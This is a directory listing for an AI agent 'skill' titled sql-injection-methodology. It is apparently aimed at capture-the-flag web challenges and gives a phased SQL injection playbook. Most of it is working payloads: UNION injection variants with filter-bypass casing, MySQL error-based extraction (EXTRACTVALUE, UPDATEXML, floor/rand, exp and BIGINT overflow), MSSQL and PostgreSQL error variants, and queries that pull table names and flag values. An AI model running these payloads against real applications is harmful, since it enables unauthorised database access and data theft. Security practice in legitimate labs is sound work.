SuperAPI AI Directory

sql-injection-methodology

Security & auditing

View repository

Updated 10-16 08:01

About this skill

Complete SQL Injection Methodology

⛔ In-depth reference (must-read when Phase 3 truncation occurs!)


Phase 0: POST Parameter Completeness (execute first!)

  1. analyze_response extractall input/button name attributes (including hidden, submit)
  2. Must include the submit button — PHP uses isset($_POST['submit']) for validation
  3. Anomaly: injecting ' produces the same response as the normal value → missing parameter, check immediately

Phase 1: Injection Point Discovery + Column Count Confirmation

  1. Single quote ' test → an error indicates injection exists
  2. ORDER BY binary searchdetermine the exact column count (⛔ do not increment one by one starting from 1):
    ORDER BY 10 → 错误 → ORDER BY 5 → 成功 → ORDER BY 8 → 错误
    → ORDER BY 6 → 成功 → ORDER BY 7 → 错误 → 列数 = 6
    
    ⛔ ORDER BY N succeeding ≠ the column count is N! You must find the boundary where N+1 fails to confirm

Phase 2: UNION Injection (first choice! Only give up after exhausting all 6 variants)

UNION has no truncation limit; retrieve the complete flag in one go.You must try all 6 variants in the following order:

-- ① 标准 UNION(让原查询空)
' AND 1=2 UNION SELECT 1,2,3,4,5,6-- 
-- ② NULL 代替数字
' AND 1=2 UNION SELECT NULL,NULL,NULL,NULL,NULL,NULL-- 
-- ③ 不同注释符
' AND 1=2 UNION SELECT 1,2,3,4,5,6#
' AND 1=2 UNION SELECT 1,2,3,4,5,6-- -
-- ④ 大小写/注释绕过
' AND 1=2 UNiON SeLeCT 1,2,3,4,5,6-- 
-- ⑤ 检查回显位: 响应中出现了哪个数字(2/3/4)?该位置放查询
' AND 1=2 UNION SELECT 1,database(),3,4,5,6-- 
-- ⑥ 检查完整 HTML 源码(不只是摘要),搜索数字 1-6 是否在隐藏元素中

Strategy: once a variant successfully finds an echo position (a number appears in the response), immediately use that variant to extract data; no need to continue testing the remaining variants. Only if all fail, move to Phase 3.

Phase 3: Error-Based Injection (use after UNION fails, truncation pitfall!)

There are multiple error-based injection methods,try in order of priority(if one is filtered, switch to the next):

Method 1: EXTRACTVALUE (first choice, MySQL 5.1+)

Returns at most 32 characters:

' AND EXTRACTVALUE(1,CONCAT(0x7e,database()))-- 
' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database())))-- 

Method 2: UPDATEXML (when EXTRACTVALUE is filtered)

' AND UPDATEXML(1,CONCAT(0x7e,database()),1)-- 
' AND UPDATEXML(1,CONCAT(0x7e,(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database())),1)-- 

Method 3: floor+rand (MySQL classic, best compatibility)

' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT(database(),0x7e,FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)-- 
' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT flag FROM flag LIMIT 0,1),0x7e,FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)-- 

Method 4: exp() overflow (MySQL 5.5.5-5.5.49)

' AND exp(~(SELECT*FROM(SELECT database())a))-- 

Method 5: BIGINT overflow

' AND !(SELECT*FROM(SELECT database())a)-~0-- 

Database differences:

  • MSSQL: ' AND 1=CONVERT(int,@@version)-- or ' AND 1=CAST(db_name() AS int)--
  • PostgreSQL: ' AND 1=CAST(version() AS int)--

⛔⛔⛔ When extracting flag values: manual SUBSTRING concatenation is forbidden! A script must be used!

Trigger condition: The flag returned by EXTRACTVALUE is truncated (< expected length) Mandatory action:

  1. ⛔ Immediately execute references/union-and-error.md to get the Python automatic extraction script
  2. Use bash to execute that Python script (automatic segmentation + concatenation + LENGTH verification)
  3. ⛔ Never write SUBSTRING manually → manual hex concatenation will lose characters → has already caused task failure 2 times in a row

Phase 4: ⛔ Mandatory verification before flag delivery (regardless of which injection method was used)

Before reporting the flag, all of the following checks must pass; otherwise, do not report:

-- 1. 查询真实长度
' AND EXTRACTVALUE(1,CONCAT(0x7e,LENGTH((SELECT flag FROM flag))))-- 
Check item Method Handling on failure
Length match len(flag) == LENGTH() return value Re-extract, do not report
Correct format Starts with flag{ starts with } ends with Re-extract
Hash plausibility flag{...} The hash length is usually 32/40/64 If the length is abnormal, re-extract

⛔ Skipping this verification and directly reporting flag = task failure. This is the last line of defense.

POST parameter completeness

  • Differences between curl and browsers: browsers automatically send certain parameters, curl requires manual addition